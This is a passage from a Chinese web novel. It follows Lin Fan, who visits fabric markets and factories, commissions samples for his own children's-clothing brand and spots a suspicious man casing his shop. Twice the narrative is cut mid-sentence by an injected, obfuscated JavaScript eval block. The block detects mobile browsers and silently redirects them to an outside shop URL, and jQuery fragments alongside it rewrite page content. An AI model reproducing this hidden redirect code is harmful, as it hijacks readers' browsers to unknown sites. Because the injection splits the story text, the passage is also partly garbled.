车上坐着个去市里进货的小贩,姓刘,跟林凡认识,上次一起拼过车,他凑过来说,嘴里还嚼着油条,油条渣掉在衣服上:
“兄弟,你也去市里找货源啊?我听说东郊区有家服装厂,叫‘利民服装厂’,做的童装质量不错,针脚齐,面料也实在,很多人都去那拿货,老板姓赵,人挺实在,不坑人,你可以去看看!”
林凡赶紧把地址记在笔记本上,心里踏实了些,还跟刘哥聊了聊行情,刘哥说:
“现在做自有品牌是趋势,你有眼光,比咱们倒腾货强多了”,这话让他更有底气,腰杆都直了点,连坐着都觉得舒服了。
车窗外的县城慢慢往后退——卖早点的张叔正支起摊子,蒸笼冒着白气,把他的脸熏得发红,已经有客人在排队了;
哈着白气等油条,嘴里还说着“张叔,多炸会儿,脆点”;修鞋的李师傅蹲在路边,锤子敲在鞋钉上,“叮当”响,旁边放着个收音机,在唱《春天的故事》,声音有点飘,电池快没电了;
街面上的人慢悠悠地走,有的提着菜篮,菜篮里装着新鲜的青菜,有的背着书包,书包上印着卡通图案,透着股熟悉的烟火气;
林凡看着,心里有点舍不得,却也更坚定了——为了笑笑,为了这个家,必须往前走,不能回头。
车子驶出县城,窗外的景物换成了绿油油的田野,麦苗长得齐膝高,风从车窗缝里钻进来,带着青草的甜香,拂在脸上,软乎乎的,像孩子的小手,还能闻到点泥土的腥味。
路边的油菜花田开得金灿灿的,像铺了层黄毯子,蜜蜂在花丛里嗡嗡转,忙着采蜜,偶尔停在花瓣上,翅膀还在扇动;
农民伯伯在田里插秧,弯腰的动作整齐划一,透着股干劲,裤脚沾着泥,溅了不少泥点,弯腰时腰上的旧皮带发出“吱呀”声,偶尔直起身来,擦把汗,用袖子擦,袖子都湿了,又接着干,阳光洒在他们身上,像镀了层金。
林凡攥紧了胸口的钱,指腹蹭过纸币的纹路,心里的忐忑慢慢被一股豪情代替——
他不再是那个躲着黑皮跑的小摊贩,也不再是守着存折不敢动的“守财奴”,他要去闯一条自己的路;
一条能让笑笑过得更好的路,一条能让“笑笑宝贝屋”真正立住脚的路,不再看别人脸色,不再担惊受怕。
车窗外的天很蓝,云像棉花似的飘着,软乎乎的,偶尔有小鸟飞过,叽叽喳喳的;
远处的山峦起伏着,像铺了层绿毯,透着股开阔的劲儿。
林凡深吸一口气,空气里满是青草的甜香,目光坚定地望向远方。
这不是结束,是新的开始。
他要带着对家的牵挂,去闯那片未知的天地,去拼一个更好的未来,拼一个能让笑笑安心的家。
他仿佛已经看到,秋天的时候;
笑笑穿着印着“笑笑”logo的淡蓝色T恤,在公园里跑,手里拿着小风车;
风把风车吹得“呼呼”转,风也把衣角吹起来,像只蓝蝴蝶;
孩子的笑声裹着阳光,甜得像刚剥的橘子糖,连空气都透着暖。
有个阿姨走过来问,手里还牵着个小女孩:
“这衣服真好看,在哪买的呀?料子摸着真软,我家孩子也能穿吗?”
笑笑骄傲地挺起小胸脯,声音脆生生的,像小铃铛:
“这是我爸爸做的!在‘笑笑宝贝屋’买的!我爸爸做的衣服最舒服了!”
那画面,够他扛过所有的未知和风浪,够他一步一步,把日子过成想要的样子。
新的征程,从这班“哐当”响的早班车开始了。
而家的方向,永远是他心里最软的牵挂,也是最硬的底气。
第三十三章:工厂与货源
市区的三天,林凡活像块被攥到极致的海绵,每一寸纤维都吸满了奔波的潮气。
不是走马观花地在布料市场与工厂间打转,是要把每一寸棉线的纹路、每一种布料的手感都刻进心里,刻得比掌纹还深,连指尖划过布料时的糙感、软感,都能闭着眼分清。
凌晨五点的天,灰得像掺了墨的冷粥,风裹着深秋的寒气往骨缝里钻,吹得人指尖发僵,连哈出的白气都没等飘远,就散成了雾蒙蒙的一片。
他已经蹲在“利民布料市场”锈迹斑斑的铁门外,膝盖上还盖着件笑笑穿小的旧外套,浅粉色的布料洗得发灰,袖口补了块同色的布,针脚是他连夜缝的,歪歪扭扭却格外结实。
铁门上的“利民”两个字掉了半块漆,露出里面暗红的铁皮,风一吹,铁门就“吱呀——吱呀”响,像隔壁患了哮喘的老爷爷,每一声都带着颤。
他手里攥着个皱巴巴的透明塑料袋,袋口用橡皮筋缠了两圈,缠得手指都勒出了红印,生怕里面的布料小样掉出来。袋子里躺着七八块布:
有块深灰普棉是县城批发商那拿的滞销款,表面磨得发毛,指尖一捻就能搓下细绒,洗两次就起球,他留着当“反面教材”,每次摸都忍不住皱眉;
还有笑笑穿旧的浅粉T恤边角,领口磨出一圈淡白的毛边,是笑笑每天攥着玩磨的,袖口还沾着点洗不掉的巧克力渍;
那是上次笑笑生日吃蛋糕蹭的,当时她哭鼻子说“衣服脏了爸爸会不会骂”,林凡哄了半天说“脏了也好看”,现在摸着这软布,指尖都能想起当时她粘在脸上的奶油,暖得发疼。
不远处的早点摊刚支起油锅,“滋啦——”一声,金黄的油条沉进热油里,香气裹着油烟飘过来,油星子溅在铁板上,蹦出的小火星没等落地就灭了。
林凡咽了口唾沫,喉结上下滚了滚,却没动——兜里只剩五十三块二毛,是这三天的饭钱和返程车费,更怕错过市场开门的第一分钟:
早来能跟摊主蹲在摊位前慢慢聊,摸遍所有布料的手感;晚了采购商一多,摊主连抬头的功夫都没有,更别说剪小样、问细节了。
市场铁门“哗啦”一声被拉开时,一股混杂着三重气息的热浪直扑过来。
最冲的是染料味,红色的带着点呛人的铁锈甜,像含了口没化的锈糖,蓝色的闷得发沉,像把浸了化工膏的棉花堵在鼻尖,吸一口都觉得鼻腔发涩;
接着是棉絮的软香,飘在空气里轻悠悠的,像刚拆的新棉被,吸进肺里都觉得暖,得轻轻咳一下,才敢把那股绒气咽下去;
最后裹着摊主们的汗味——大多是凌晨三点就来卸货的汉子,身上带着奔波的潮气,混着刚喝的豆浆味,粘在洗得发白的蓝布褂子上,连呼吸都带着点糙劲,像刚从田埂上下来的农人。
林凡没顾上捂鼻子,跟着人流往里走,帆布包往肩上紧了紧,包带勒得肩膀生疼,他却脚步飞快地扎进第一家摊位;
这家主打棉料,上次打电话问过,老板姓刘,据说手里有新疆长绒棉的货源,他在小本子上画了三颗星,标着“重点找”。
他从市场东头的第一家,摸到西头的最后一家,指尖蹭得沾满了白绒,指甲缝里嵌的棉絮黑乎乎的也不在意,连手指关节都被粗糙的布料磨得发红,一碰就疼。
手里的旧软皮本快被翻烂了,封面还画着笑笑去年画的小太阳,太阳的光芒涂得不均匀,有的地方深有的地方浅,是笑笑用蜡笔一点点涂的,边角还沾着点饭粒,是上次带在身上吃饭蹭的。
里面每一页都记得密密麻麻,字写得挤挤挨挨,生怕浪费一点纸:“精梳棉??每米8.5元??捏着软如刚晒透的云朵,指腹划过无糙感,纤维能顺着摸出走向??冷水浸泡20分钟后攥水,晾干无缩水??适合做外穿T恤,贴肤不扎;
笑笑穿肯定舒服”“普棉??每米6元??表面略糙但攥着有分量,展开时‘沙沙’响(棉纤维摩擦声)??清水洗3次掉色度≤2%??适合做内衬或打底,性价比高;
能压低成本”“涤棉混纺??每米7元??耐磨但捏着发硬,贴手臂试了1分钟就觉闷??孩子穿容易闷汗,上次笑笑穿涤棉裙子就喊痒,还起了小红点??pass——绝对不能用”。
每个字都写得用力,笔尖把纸都戳出了小印子,遇到不确定的,还会让摊主剪一小块样品,用圆珠笔在布角标上名字;
到最后,塑料袋鼓得像个小皮球,里面的布料按“精梳棉”“普棉”“混纺”分了三类,用橡皮筋捆得整整齐齐,连碎绒都没掉一根。他摸了摸袋子,像摸着一堆小心攒下的盼头,嘴角忍不住往上扬了扬。
找工厂的路,比他在心里预演的还要曲折。按报纸中缝广告寻到的第一家,藏在城乡结合部的破院子里,院门掉了块木板,露出里面的乱象:
五台老式缝纫机挤在漏风的棚子里,棚子的塑料布破了个大洞,风一吹就“哗啦”响,像谁在扯块破布;
缝纫机“咔嗒咔嗒”响得像牙齿打颤,最里面那台的针脚都歪了,缝出来的线像扭麻花,有的地方还漏了针,露出里面的白衬;
地上的碎布片里混着半根断针,闪着锈光,生怕谁不小心踩上去。院子角落里堆着废弃的布料,颜色斑驳,有块浅蓝布上沾着不明的黑渍,像泼了墨;
一只瘦得肋骨都凸出来的流浪狗在旁边扒拉,尾巴夹在腿间,爪子上的泥蹭在布料上,留下道黑印,它还时不时抬头哼两声,声音哑得像被冻住,想找里面裹的食物残渣。
老板叼着根两块钱一包的“春城”烟,烟蒂吊在嘴角,烟灰簌簌往油腻的围裙上掉;
围裙上沾着块深褐色的油斑,黑得发亮,像是积了半年的老油,他也没拍,就用手掸了掸,油星子反而蹭得更开。
瞥了眼林凡手里的样品袋,语气不耐烦得像赶苍蝇:
“就做百八十件?折腾啥!我这机器调一次要两小时,电费都得十块,你这点活儿,不够我付电费的!不接!”
说完,头也不回地钻进里屋,连让林凡多解释“后续会加单”的机会都没有,门“砰”地一声关上,震得棚子上的灰簌簌掉下来,落在林凡的帆布包上。
第二家在窄巷深处,门脸只够一个人过,门口堆着几个没拆的快递盒,上面的胶带都发黄了,沾着层灰。
老板娘坐在柜台后嗑瓜子,柜台后面堆的快递盒快没过她的肩膀,地上的瓜子壳堆了一小堆,有的还卡在柜台缝里,招来几只小飞虫。
她涂着掉漆的红指甲油,无名指的红甲油只留了半截,像被啃过似的,露出里面泛黄的指甲,指甲缝里还卡着点瓜子皮。
指尖捏着瓜子,“咔嚓”一声咬开,吐壳的动作熟练得很,壳子直接吐在快递盒上,发出“嗒”的轻响。
听林凡说要做童装,她眼皮都没抬,直接报价:
“五块钱一件。”林凡心里咯噔一下——上次在县城问过加工费,最多三块,这五块比翻倍还多。
他手伸进帆布包摸了摸钱包,里面的钱攥得发皱,连毛票都捋得整整齐齐,赶紧皱着眉问:
“能不能少点?我们是小本生意,第一次做,后续量大了还找您。”
老板娘把瓜子壳往地上一吐,翻了个白眼,语气尖得像扎人:
“嫌贵?你找别家去!前两天李老板还来问,要做两百件,给四块五我都没接呢!县城里想做的人多着呢,不缺你这一单!”
林凡看着她满不在乎的样子,心里犯嘀咕——这态度,怕是连尺寸都不会核对,做出来的衣服说不定长短不一,转身也走了。
刚出巷口,就听见老板娘在后面嘟囔:“穷酸样,还想做童装。”那声音飘在风里,刺得耳朵疼。
第三家更离谱。
车间门没关,林凡刚走到巷口,就闻到一股霉味,混着布料的酸味,像晒潮了的旧衣服闷在箱子里,呛得他连连咳嗽,喉咙里像卡了团湿棉絮。
往里一看,一群苍蝇在堆在墙角的布料上嗡嗡绕圈,翅膀扇动的声音“嗡嗡”的,吵得人脑仁疼,有的还停在缝纫机的针脚上,针脚里缠着灰绒,黑一块白一块。
最里面那堆浅白布上,小黑点像撒了把芝麻,有的还连成了片,是霉斑,看着都让人发怵。他没进门就转身走了。
给孩子穿的衣服,卫生都保证不了,再便宜也不能要。万一孩子穿了过敏,起红疹子,那不是砸了“笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607499|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑宝贝屋”的招牌,更是对不起信任他的顾客,比如总来买衣服的张阿姨,上次还说“凡子,你家的东西我放心”,他不能让这份信任落空。
直到找到“红星服装厂”,林凡悬着的心才算落了点。
这是家街道办小厂,门脸不大,红漆写的“红星服装厂”五个字虽然褪色,却被擦得发亮,连笔画里的缝都没灰;
门口挂着块“质量第一”的木牌,边角磨得光滑,看得出来常年被人用布擦,木牌下面还挂着串小铜铃,风一吹就“叮铃——叮铃”响,像孩子的笑声。
木牌旁边贴着最新的卫生评比结果,红星厂得了“优”,红色的“优”字旁边画着一朵小红花,花瓣涂得很均匀,格外显眼,下面还盖着街道办的红章。
推开门进去,车间里的景象跟之前两家截然不同:五台缝纫机摆得整整齐齐,间距刚好能过一个人,机身擦得没一点油污,亮得能照见工**妈鬓角的白发,连踏板上都干干净净,能映出人影;
工**多是四十多岁的中年大妈,戴着黑框老花镜,有的镜腿用透明胶带缠了圈,踩踏板的时候动作稳,线走得笔直,剪下来的线头都扔进旁边的小竹筐,没一根落在地上;
竹筐是竹编的,上面还刻着“红星”两个字,竹纹里没一点灰。角落里堆着的布料,都用新的塑料布盖得严实,塑料布上印着“防尘防潮”的蓝色字样,连边边角角都用夹子固定住,没露出来一点。
最靠门的大妈正缝着一件浅蓝衬衫,手指会轻轻点着布料,确保每一针都对齐领口的印子,神情专注得很,连林凡进门都没抬头,只有缝纫机的“嗒嗒”声,稳得像钟表。
负责人是个姓徐的中年女人,留着齐耳短发,发梢别着个黑色塑料发卡,边缘有点磨白,发卡上还沾着根浅灰的线头;
是刚才缝衬衫时从布料上勾下来的,她自己都没察觉,说话时发卡跟着头动,线头也轻轻晃。
她穿件洗得发白的蓝工装,袖口卷到小臂,露出里面的浅灰秋衣,秋衣的袖口有点松,说话爽利得像刮过的风,没一点绕弯子:
“我看你是真心想做事,不像那些打游击的——过来就问‘能不能偷工减料’‘能不能压到最低价’,孩子穿的东西,哪能马虎。”
她指了指车间里的布料,“我们用的棉料都是正规渠道进的,每批都有检测报告,你要是想看,我给你找,上面有质检局的章。”
林凡赶紧从背包里掏出两样东西:一块浅蓝精梳棉,一块米白普棉,都是他挑了半天的好料,边角叠得整整齐齐,连毛边都用小剪刀修剪过,没一点参差;
还有张画得工工整整的设计图——图纸是用笑笑的数学作业本纸画的,纸边缘有点卷边,是林凡揣在怀里捂的,上面还留着笑笑算错的算术题“3+5=7”,错题旁边,笑笑还用铅笔打了个叉,画了只歪歪扭扭的小鸭子,边缘沾着点粉色蜡笔印(上次笑笑在旁边画小花,不小心蹭上去的)。
林凡手指轻轻蹭过那道错题,好像还能摸到笑笑当时握笔的小力气,她歪着头问“爸爸,是不是这样写”的声音还在耳边。
图纸上照着笑笑一件合身的旧T恤,标了密密麻麻的尺寸,每个尺寸旁边都画了小符号:领口加半寸,旁边画了个小脖子的图案,写着“免得勒着孩子的脖子,上次笑笑穿紧领口的衣服喊疼,哭了半天”;
袖口卷边缝两圈,画了个小袖口,注着“不容易开线,洗了也不会散,上次林凡自己缝的袖口就开了,笑笑说‘爸爸缝得不好’”;
下摆放宽一寸,画了个跑跳的小人,写着“孩子跑跳方便,不会卡腿,笑笑上次穿紧身裤子,跑的时候摔了一跤”;
左胸留个两指宽的小口袋,旁边用红笔写着“绣Logo用”,还特意备注了“口袋加深一厘米,能装小玩具”——
这是他听张阿姨说的,上次张阿姨来买衣服,抱着孙子,孙子手里攥着个弹珠,一松手掉在地上,张阿姨捡起来叹着说
“要是衣服口袋深点,这弹珠就不会掉了,上次掉了个,找了半天没找着”,林凡当时就记在小本子上,画了个口袋的符号,旁边还标了个“重点改”。
第三十四章:样品与暗流
“徐主任,就按这个做,针脚要密,每寸至少十二针,锁边得牢,不能让孩子抠着线头玩。孩子穿的,半点马虎不得。”
林凡说得认真,指尖还在图纸上点了点“口袋加深”的备注,生怕徐主任没注意到细节,语气里满是恳求。
徐主任接过布料,指尖捏着棉线轻轻抻了抻,棉线弹得匀,没断,她又凑到鼻尖闻了闻,没异味,点点头:
“这是新疆长绒棉,纤维长,能到38毫米,透气性好,孩子穿不闷汗,选得不错——我家小孙女就穿这种棉的,软得很。”
又低头看图纸,手指点着尺寸标,一笔一笔核对:“领口加半寸、袖口卷边、口袋加深——想得挺细,都是为孩子考虑的。没问题。”
她顿了顿,报出价格:“加工费三块五一件,比外面便宜五**,咱们都是实在人,不赚黑心钱。十天后给你看样品,预付三成定金,你看行不?”
林凡心里一松,比他预算的四块还少五**。他赶紧从包里掏出计算器,指尖颤得连按键都按不准,按了两次“350”才按对,生怕徐主任突然说“不行”,心都提到嗓子眼:
“一百件加工费三百五十块,布料八百五十块,总共一千二,定金三成是三百六十块……”他摸了摸钱包,里面的钱刚好够,连毛票都凑上了。
“行!太行了!我现在就付定金!”他把钱递过去,指尖还在发颤,徐主任接过钱,数了两遍,放进抽屉里,还给他开了张收据,上面盖着“红星服装厂”的红章。
谈妥时,天已经擦黑,车间的灯亮了,暖黄的光裹着缝纫机的“嗒嗒”声,倒有股踏实的劲。
徐主任从车间里拿出两件用边角料赶制的样品,递给他:
“你先拿着看看,要是不满意,咱们再改——这是按你图纸做的,就是颜色用了剩料,浅灰和浅粉,是之前做成人衬衫剩下的,你别介意。”
林凡接过来,指尖一碰就知道好——布料软乎乎的,像摸着笑笑刚晒过太阳的小棉袄,还带着点阳光的暖意;
针脚密得像鱼鳞,他凑到灯前数了数,每寸真的有十三针,比他要求的还多;领口的双层布缝得平整,没一点硌手的地方,用指甲轻轻刮了下,没起毛;
锁边是双线,用手指拽了拽,没开线。他又翻到里面,看不到一根多余的线头,连标签都缝得服帖,标签是浅白布做的,上面用蓝线绣着“红星制”,不会磨到孩子的皮肤。
他攥着这两件小T恤,心里像揣了个小暖炉,连跑了三天的累——脚底磨的水泡(昨天走太多路,水泡破了,贴了片创可贴,现在还疼,走一步就抽一下)、指尖的棉絮、被老板怼的委屈——都化成了脚底的劲。
返程的班车里飘着汽油味,混着乘客带的菜味。
前排大妈带了一网兜白菜和萝卜,白菜叶子上还沾着点露水,湿了塑料袋,水珠滴在地板上,她正低头剥豆子,指甲缝里还留着点泥,豆子壳滚到林凡脚边,林凡弯腰捡起来,递给大妈,大妈笑着说
“小伙子心细,跟我家小子差不多大”,还塞给他一颗剥好的豆子,甜丝丝的。
林凡把样品裹在旧毛衣里,贴在胸口——这件毛衣是灰色的,袖口磨破了,是笑笑去年穿小的,现在他当内搭穿,毛衣的领口松了,洗得发白,上面还沾着点笑笑的头发,软乎乎的。
他怕样品被挤坏,也怕被人看见起心思,就这么紧紧护着,像护着件宝贝。
回到县城时,街灯已经亮了。
黄澄澄的光裹着晚风,吹在脸上软乎乎的,连空气里都带着点晚饭的香,隔壁“李记面馆”飘来的牛肉汤味,浓得能闻出里面放了胡椒,还有点葱花的鲜;巷口张婶家炒青菜的味,带着点烟火气,勾得人肚子咕咕叫。
他没回筒子楼,直接往店里走。
“笑笑宝贝屋”的门还没关,王猛正搬着松木门板准备关门,门板上有几道划痕,是上次卸货时蹭的,他用砂纸磨过,却没完全磨掉,露出里面的木纹。
看到林凡风尘仆仆的样子,王猛赶紧放下门板迎上来,手里还攥着块旧毛巾改的抹布,抹布是之前卖不出去的浅粉T恤改的;
领口剪了个洞,套在手上刚好,上面还沾着点洗洁精的泡沫,是刚才擦货架剩下的——他看到林凡的帆布包上沾着点布料的白绒,赶紧用抹布蹭了蹭:
“凡子!你可回来了!咋样?市里顺利不?没遇到啥麻烦吧?我这三天都没睡好,总怕你被人坑了!”
林凡笑了笑,没说话,从背包里小心翼翼地掏出那两件样品,摊在柜台上。
淡灰的T恤在灯光下泛着软光,浅粉的那件领口还留着徐主任用粉笔画的记号,像个小月牙,没擦干净。
“猛子,你摸摸。”
王猛赶紧凑过来,粗糙的手指反复捏着布料——他的手常年搬货,指腹磨出了茧子,却格外轻地蹭过针脚,像摸自家娃的脸似的,还把口袋翻过来,对着店里的灯看:
“哎呦!这料子真软和!比咱们进的那些童装还好——你看这锁边,比我媳妇缝衣服还密,上次我媳妇给娃缝裤子,针脚大得能塞手指!”
他咧开的嘴都合不上,露出两排白牙,又翻到里面,
“你看这线头,一根都没有!
上次进的那批货,里面的线头能扯出半寸,
张阿姨还来找过我,说孙子穿了痒,我赶紧给人换了件。
凡子,
这是你找的新货源?
肯定好卖!我看张阿姨下次来,指定得买两件,说不定还会带街坊来!”
林凡摇摇头,指着左胸的小口袋,语气里藏着点抑制不住的兴奋,连声音都轻了点:
“猛子,这不是新货源,是咱们自己的货。”
“自己的货?”
王猛愣了,眼睛瞪得圆圆的,像见了稀奇事,伸手挠了挠头,指节蹭得头发乱了也没察觉:
“啥叫自己的货?咱们还能做衣裳?这不是电视里那些大工厂才有的本事吗?咱们这小破店,连个缝纫机都没有,也能做?”
他说着,又拿起样品翻来覆去地看,手指蹭过针脚时,还轻轻叹了口气,像是第一次见这种“自己做的衣服”,眼里满是不敢信。
“对,咱们自己做。”
林凡拿起浅粉T恤,手指在口袋上轻轻划了圈,圈住那个未来要绣Logo的地方,
“布料是我挑的新疆长绒棉,摸着软,孩子穿不闷汗;版式是我按笑笑的衣服定的,领口、口袋都改了,更合身;
厂子是街道办的红星厂,靠谱得很,车间干净,工人也仔细。以后这里,就绣上‘笑笑宝贝屋’的标记——哪怕现在只是个名头,也是咱们自己的牌子,不用再看批发商的脸色,他们想涨价就涨价,想断货就断货。”
王猛盯着T恤上的小口袋,半天没说话,突然一拍大腿,声音都高了:
“好!太好了!凡子,你真能折腾!这要是成了,咱们就不用再跟人抢货,也不用怕他们压价了!
之前李批发商给咱们涨了五毛钱,咱们都得跟着涨,有个顾客本来要拿三件,一听涨价,只拿了一件,还说‘别家都没涨’!”
可兴奋劲过了,他又有点担心,声音低了点,凑得近了些,生怕被路过的人听到:
“就是……这得花不少钱吧?定金付了多少?第一批做一百件,布料、加工费、绣Logo,算下来得几百块吧?万一做出来卖不出去,咱们这不白扔钱了?
咱们店里的流动资金本来就不多,上次交房租还是凑的,笑笑的学费还没攒够呢……”
“先试水,花不了多少。”
林凡拍了拍他的肩,掌心的温度传过去,语气坚定得像钉钉子,
“猛子,我算过了:布料每米8.5元,一件T恤用一米布,一百件就是850元;加工费3.5元一件,一百件350元;
绣Logo五**一个,一百件50元;总共1250元,定金付了三成,也就375元。
就算卖得慢,咱们老顾客有二十多个,张阿姨、李婶、幼儿园的王老师,每人买两件就能卖四十件,剩下的摆着慢慢卖,亏不了多少。
而且,老是卖别人的货,赚点差价,永远是小打小闹。
要想让笑笑过上安稳日子,不用再挤筒子楼(现在住的筒子楼没暖气,冬天笑笑总冻得手脚凉,晚上睡觉得裹两床被子),不用再担心交不起学费,咱们得有自己的东西。这事儿,错不了。”
王猛看着他眼里的光——那光比店里的灯还亮,是他以前跟林凡一起在夜市摆摊时没见过的,是带着盼头的光。
心里的担心慢慢散了,他重重点头,攥着拳头:
“成!你说咋干就咋干!我听你的!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607500|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
店里的事你放心,有我呢!我每天多擦两遍货架,多跟顾客聊聊,问问他们喜欢啥颜色、啥尺码;
笑笑我也护得妥妥的,每天下午6点就把她送回家给她把奶给她吃了,绝不让巷口的小混混欺负她——上次那几个小混混想抢笑笑的橡皮,被我骂走了,他们再也不敢来了!”
“这几天辛苦你了。”
林凡把样品叠好,放进柜台最里面的抽屉,还锁上了小铜锁——抽屉里还放着笑笑的照片,是去年生日拍的。
笑笑穿着粉色连衣裙,笑得露出两颗小虎牙,照片的边角有点卷,是林凡经常拿出来看磨的。“关门吧,我请你吃馄饨,街口那家‘张记’,加个蛋,边吃边说店里的事。”
接下来的几天,店里的日子照旧——王猛擦货架、招呼客人,遇到熟客就念叨“咱们以后有自己做的童装了,软和得很,比别家的都舒服,到时候给娃留一件”;
林凡理货、记销售,可他的心思多了层牵挂,像揣了颗发芽的种子,总想着快点长大。
他趁没客人的时候,趴在柜台上画Logo。
桌上铺着张白纸,旁边放着笑笑的彩色铅笔——有红、黄、蓝三种颜色,红色的铅笔头有点秃,是笑笑平时画画用的;
黄色的那支断了半截,用透明胶带缠了圈,蓝色的笔帽丢了,是上次笑笑说“爸爸画Logo要用好看的颜色,小朋友才喜欢”,硬塞给他的。
他先画了笑笑的笑脸,圆圆的脸,眼睛画了三根睫毛,结果看着像小猫咪,摇摇头用橡皮擦掉,橡皮屑掉在作业本上,他吹了吹;
又画了小太阳,光芒画了十道,怕绣出来太挤,不好看,又擦掉;最后选了个最简单的——“笑笑”两个字用圆滚滚的字体,是照着笑笑作业本上的字写的,有点歪,却透着可爱,旁边加个小小的爱心,用红铅笔涂得浅浅的,刚好能绣在小口袋上。
画好后,他还拿给笑笑看,笑笑趴在桌上,手里拿着粉色蜡笔,在爱心旁边画了个小太阳,蜡笔太尖,戳破了点纸,她赶紧用小手捂住;
小声说“爸爸对不起”,林凡摸了摸她的头,说“这样才好看,像太阳照着爱心,小朋友肯定喜欢”,笑笑才露出笑脸,抱着他的胳膊蹭了蹭。林凡心里更定了,觉得这Logo比任何设计都好。
他还专门去了县城的“红光刺绣店”。
店在巷子里,门口挂着块蓝布帘,上面绣着朵栀子花,白色的花瓣,绿色的叶子,绣得活灵活现。
老板娘坐在老式缝纫机前绣手帕,手帕上的栀子花已经绣了一半,白色的线在浅蓝布上显得特别干净,她的手指有点糙,指关节上有层薄茧,是常年握针磨的,绣的时候,针穿过布的声音“沙沙”的,特别轻,像风吹过树叶。
听林凡说要绣小图案,老板娘抬头笑,眼角的皱纹挤成一团,像朵菊花:
“小图案五**一个,一百个起绣,三天就能好——你要是着急,我让徒弟晚上加两小时班,两天给你弄好,不额外加钱。”
林凡连忙说:“不用急,您按正常来就行,保证质量最重要,这是绣在孩子衣服上的,不能马虎,要是线松了,孩子容易抠下来吃,不安全。”
老板娘点点头,指了指墙上挂的奖状:
“放心,我做刺绣三十年了,从没出过差错。这是去年县上给的,说我绣的东西质量好,有个城里的老板还来订过婚服的刺绣呢,上面的凤凰绣得跟真的一样。”
林凡顺着看过去,奖状的边角有点卷,上面的“优质刺绣商户”几个字还很清晰,下面盖着县妇联的红章。
每天晚上关店后,林凡都会翻童装区的销售记录。
账本是蓝色封面的,边角磨得发白,里面的纸有点黄,是用圆珠笔写的,有的地方洇了墨,是上次下雨时不小心溅的。
他翻到最近一个月的记录,用铅笔在纸上画了个简单的表格:
浅蓝卖了32件,其中10件是张阿姨介绍的街坊买的,张阿姨还说“这颜色显白,娃穿好看”;
粉白28件,8件是幼儿园王老师订的,说要给班上的孩子当表演服,“软和,孩子穿得舒服”;
浅黄15件;深颜色的(深灰、深蓝)只卖了10件——家长都说“浅颜色耐脏、显白,孩子穿好看,深颜色沾了灰更明显,洗也不好洗”。
第三十五章:样品与希望
尺码方面,110厘米卖了45件,占总销量的40%,是附近小学一二年级孩子常穿的;
100厘米和120厘米各卖了25件左右,100厘米是幼儿园大班的孩子穿,120厘米是三年级的;
大家提得最多的要求是“软、耐洗、不掉色”,有个李婶来买时,拿着衣服在手里搓了搓,说“要是洗了不掉色就好;
上次买的红衣服,洗了一次就染得白袜子都红了,娃还哭了”,还有个家长说“希望衣服上的图案别太复杂,简单点就行,太复杂的图案容易掉渣,娃会放嘴里嚼”。
这些都被他记在小本子上,还画了小勾,准备下次跟徐主任敲定生产细节时用——比如浅蓝和米白各做50件,100、110、120厘米的尺码各占三分之一,图案就用自己画的“笑笑+爱心”,简单又可爱。
可平静没几天,一丝暗流就悄悄绕了过来,像条藏在草丛里的小蛇,贴着“笑笑宝贝屋”的门口,吐着信子。
那天下午,阳光有点晃眼,透过玻璃门照在货架上,把文具区的橡皮照得发亮,橡皮上的小猪图案都清晰得很,连猪鼻子上的小点点都看得见。
店里进来个穿洗得发白夹克的年轻人,夹克的拉链坏了,用根灰绳子系着,绳子上还沾着点水泥灰,是工地的;
裤脚卷到膝盖,露出沾着泥的帆布鞋——泥还没干,在地板上踩出了几个浅印,是巷口工地的黄泥巴,他走的时候脚还蹭了蹭地板,像是想把印子擦掉,却蹭得更花。
他不看童装,也不看玩具,就围着文具货架转,手插在裤兜里,指节在里面动来动去,眼神飘得厉害:
一会儿瞟瞟柜台的抽屉(里面锁着样品),抽屉上的小铜锁闪着光,他看了两眼,又赶紧移开;
一会儿看看店外的街,像在找什么东西,又像在等什么人。
转的时候,他的手还在橡皮盒上碰了下,一块粉色橡皮掉在地上,他也没捡,就假装没看见,脚还往旁边挪了挪,差点踩到橡皮,橡皮上的小猪图案都蹭花了。
王猛刚要拿抹布去擦橡皮上的灰,林凡赶紧用眼神按住他——他太熟悉这种眼神了,以前黑皮的小弟来店里“探店”时,就是这种眼神,里面藏着鬼,透着不怀好意。
黑皮没进去前,总想着抢他的夜市摊位,还动手推过他,现在进去了,小弟说不定还记着仇。
林凡自己走过去,语气平静得像聊天气,脚步却悄悄往笑笑的小垫子那边挪了挪——笑笑正在那边玩积木,堆了个小小的“房子”,房子的窗户是用方形积木拼的,还插了根小旗子。
“同志,需要点什么?
文具还是玩具?要是给孩子买,我可以给你推荐,我们这儿的橡皮是无铅的,孩子用着安全,不会**,颜色也好看。”
那年轻人吓了一跳,身子僵了一下,像被针扎了,手从裤兜里抽出来,又赶紧塞了回去,支吾着说:
“没……没啥,随便看看。”说完,转身就往外走,脚步快得像在逃,出门时肩膀还差点撞到门框,踉跄了一下才站稳,头也不回地往巷子里钻,很快就没影了,只留下地上的那块粉色橡皮。
“这人鬼鬼祟祟的,肯定没好事!”
王猛凑过来说,语气里满是警惕,手还攥着抹布,指节都发白了,
“会不会是黑皮的人?黑皮虽然进去了,可他那些小弟还在县城晃悠,上次我还在菜市场看到他们跟卖菜的吵架,抢人家的秤砣,凶得很!说不定是来探风的,看咱们店还开不开,有没有可乘之机!”
